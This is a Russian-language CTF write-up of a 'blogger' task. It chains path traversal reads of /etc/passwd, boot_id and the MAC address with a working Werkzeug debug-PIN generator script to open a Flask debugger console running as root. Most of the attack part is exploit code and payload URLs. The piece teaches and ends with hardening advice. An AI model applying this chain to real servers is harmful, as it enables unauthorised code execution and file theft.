Разбираем двенадцатую задачку из нашего соревнования CTF. Задание называется blogger, дают аж 2000 баллов за флаг, простой она точно не будет.
В задании есть подсказка, что уязвимость явно не одна, и первая найденная не поможет решить задачку. Нам встретятся следующие уязвимости:
Path Traversal — получение доступа к файлам и каталогам, которые расположены вне пределов, определенных конфигурацией. Путем манипулирования переменными, которые указывают на положение файлов, с помощью последовательностей "../" и их вариаций, может быть получен доступ к любым файлам и каталогам, имеющимся в системе.
Уязвимость хеш-функции. Атакующий может вычислить секретный ключ, зная алгоритм шифрования и исходные значения.
Ссылки
Решение
Переходим на сайт задания.
Мы видим некий упрощённый вариант блога. Кликаем на пост.
Обратим внимание на адресную строку.
http://blogger/post?id=helloworld.html
Сразу замечаем, что в качестве аргумента используется имя файла helloworld.html — это уже возможная уязвимость Path Traversal. Проверим. Заменим название файла helloworld.html:
http://blogger/post?id=../../../../../../../etc/passwd
Бинго, это было не сложно!
Используя эту уязвимость мы можем считать содержимое любого файла. Но пока это нам ничего не даёт. Пробуем открыть любой случайный путь:
http://blogger/post?id=fffff
Попадаем на ошибку 404 и видим, что админ оставил включенным дебаг-режим фреймворка flask.
Flask — фреймворк для создания веб-приложений на языке программирования Python, использующий набор инструментов Werkzeug, а также шаблонизатор Jinja2. Относится к категории так называемых микрофреймворков — минималистичных каркасов веб-приложений, сознательно предоставляющих лишь самые базовые возможности.
Flask позволяет дебажить код, можно запустить консоль прямо из места ошибки и посмотреть что там случилось. Место запуска консоли я отметил красным. Но есть одно но: и так понятно, что консоль на сайте — это уязвимое место, поэтому вход закрыт на PIN код.
При запуске приложения админу в консоли сообщается PIN, и этот PIN всегда одинаковый. Если нам каким-то образом удастся понять, как этот PIN считается и повторить вычисления, то мы сами получим тот же самый PIN и войдём в консоль через дебаг-режим как нож сквозь масло.
Есть долгий путь: самим дебажить flask и смотреть, как вычисляется PIN. Однако, за нас это уже сделали китайцы:
https://www.kingkk.com/2018/08/Flask-debug-pin%E5%AE%89%E5%85%A8%E9%97%AE%E9%A2%98/
Расскажу основные моменты. Вот она — та самая функция, которая генерирует PIN:
def _generate():
# Potential sources of secret information on linux. The machine-id
# is stable across boots, the boot id is not
for filename in '/etc/machine-id', '/proc/sys/kernel/random/boot_id':
try:
with open(filename, 'rb') as f:
return f.readline().strip()
except IOError:
continue
# On OS X we can use the computer's serial number assuming that
# ioreg exists and can spit out that information.
try:
# Also catch import errors: subprocess may not be available, e.g.
# Google App Engine
# See https://github.com/pallets/werkzeug/issues/925
from subprocess import Popen, PIPE
dump = Popen(['ioreg', '-c', 'IOPlatformExpertDevice', '-d', '2'],
stdout=PIPE).communicate()[0]
match = re.search(b'"serial-number" = <([^>]+)', dump)
if match is not None:
return match.group(1)
except (OSError, ImportError):
pass
# On Windows we can use winreg to get the machine guid
wr = None
try:
import winreg as wr
except ImportError:
try:
import _winreg as wr
except ImportError:
pass
if wr is not None:
try:
with wr.OpenKey(wr.HKEY_LOCAL_MACHINE,
'SOFTWARE\\Microsoft\\Cryptography', 0,
wr.KEY_READ | wr.KEY_WOW64_64KEY) as rk:
machineGuid, wrType = wr.QueryValueEx(rk, 'MachineGuid')
if (wrType == wr.REG_SZ):
return machineGuid.encode('utf-8')
else:
return machineGuid
except WindowsError:
pass
_machine_id = rv = _generate()
return rv
Для генерации PIN она использует некоторые значения:
- Файл приложения.
- Имя приложения.
- /etc/machine-id или /proc/sys/kernel/random/boot_id, смотря что имеется.
- MAC-адрес сетевухи.
- Имя пользователя.
- Путь до приложения.
Если мы всё это узнаем, то сможем сгенерировать PIN, нам даже более удобный генератор китайцы дали:
import hashlib
from itertools import chain
probably_public_bits = [
'kingkk',# username
'flask.app',# modname
'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/home/kingkk/.local/lib/python3.5/site-packages/flask/app.py' # getattr(mod, '__file__', None),
]
private_bits = [
'52242498922',# str(uuid.getnode()), /sys/class/net/ens33/address
'19949f18ce36422da1402b3e3fe53008'# get_machine_id(), /etc/machine-id
]
h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv =None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num
print(rv)
Находим первый попавшийся сайт с питоном:
https://www.tutorialspoint.com/execute_python_online.php
Втыкаем код генерации PIN и пробуем выполнить.
Шарманка работает, но данные для генерации PIN не наши и PIN не тот, будем искать.
Сбор данных
Мы уже знаем некоторые данные flask:
- Файл приложения: flask.app.
- Имя приложения: Flask.
Первый и второй ключи известны.
Получить /etc/machine-id или /proc/sys/kernel/random/boot_id можно легко, используя первую найденную нами уязвимость.
http://blogger/post?id=../../../../../../../etc/machine-id
Файл не существует, пробуем второй:
http://blogger.ev.local/post?id=../../../../../../../proc/sys/kernel/random/boot_id
Третий ключ найден: 5e0cc42b-001a-4139-abc6-6f8d517d8ddf.
Получим MAC-адрес сетевухи:
http://blogger/post?id=../../../../../../..//sys/class/net/eth0/address
Получаем MAC: 02:42:ac:16:00:04. Но нам нужен целочисленный вариант, китайцы подсказывают формулу. Снова используем сайт с питоном, выполняем:
print (0x0242ac160004)
Четвёртый ключ найден: 2485378220036.
Нам осталось найти:
- Имя пользователя.
- Путь до приложения.
Смотрим на любой кусок ошибки 404:
File "/root/.local/share/virtualenvs/app-d_acidP1/lib/python3.7/site-packages/flask/app.py", line 2309, in __call__
'root',# username
'/root/.local/share/virtualenvs/app-d_acidP1/lib/python3.7/site-packages/flask/app.py' # getattr(mod, '__file__', None),
И понимаем что:
- Имя пользователя: root.
- Путь до приложения: /root/.local/share/virtualenvs/app-d_acidP1/lib/python3.7/site-packages/flask/app.py.
Пятый и шестой ключи найдены.
PIN
Подставляем все найденные ключи в генератор.
import hashlib
from itertools import chain
probably_public_bits = [
'root',# username
'flask.app',# modname
'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/root/.local/share/virtualenvs/app-d_acidP1/lib/python3.7/site-packages/flask/app.py' # getattr(mod, '__file__', None),
]
private_bits = [
'2485378220036',# str(uuid.getnode()), /sys/class/net/ens33/address
'5e0cc42b-001a-4139-abc6-6f8d517d8ddf'# get_machine_id(), /etc/machine-id
]
h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv =None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num
print(rv)
И получаем PIN:
170-504-868
Втыкаем его в сайт.
И успешно проваливаемся в консоль с правами админа. Теперь нужно немного попитонить. Нам нужно посмотреть содержимое директории сайта. Путь к директории виден в конце 404 страницы. Вот он:
Выводим содержимое этой директории:
os.listdir("/usr/app/")
Среди списка файлов видно интересный файл с длинным названием E746D04AD0258C557AB5D5E18F57E5B269CEAC744304FA85EC7F6D79533AE8D2. Посмотрим, что внутри:
http://blogger/post?id=../../../../../../../usr/app/E746D04AD0258C557AB5D5E18F57E5B269CEAC744304FA85EC7F6D79533AE8D2
Вот и флаг.
Безопасность
- Если вы используете сторонние библиотеки, фреймворки, CMS, CMF, уделяйте внимание безопасности, своевременно обновляйте их. В таких проектах нередко появляются найденные уязвимости и заплатки к ним.
- Не открывайте наружу дебаг.
- Здесь мы видим пример как совокупность эксплуатации двух разных уязвимостей дала возможность проникнуть на сервер, хотя каждая из уязвимостей по-отдельности не привела бы к такому результату.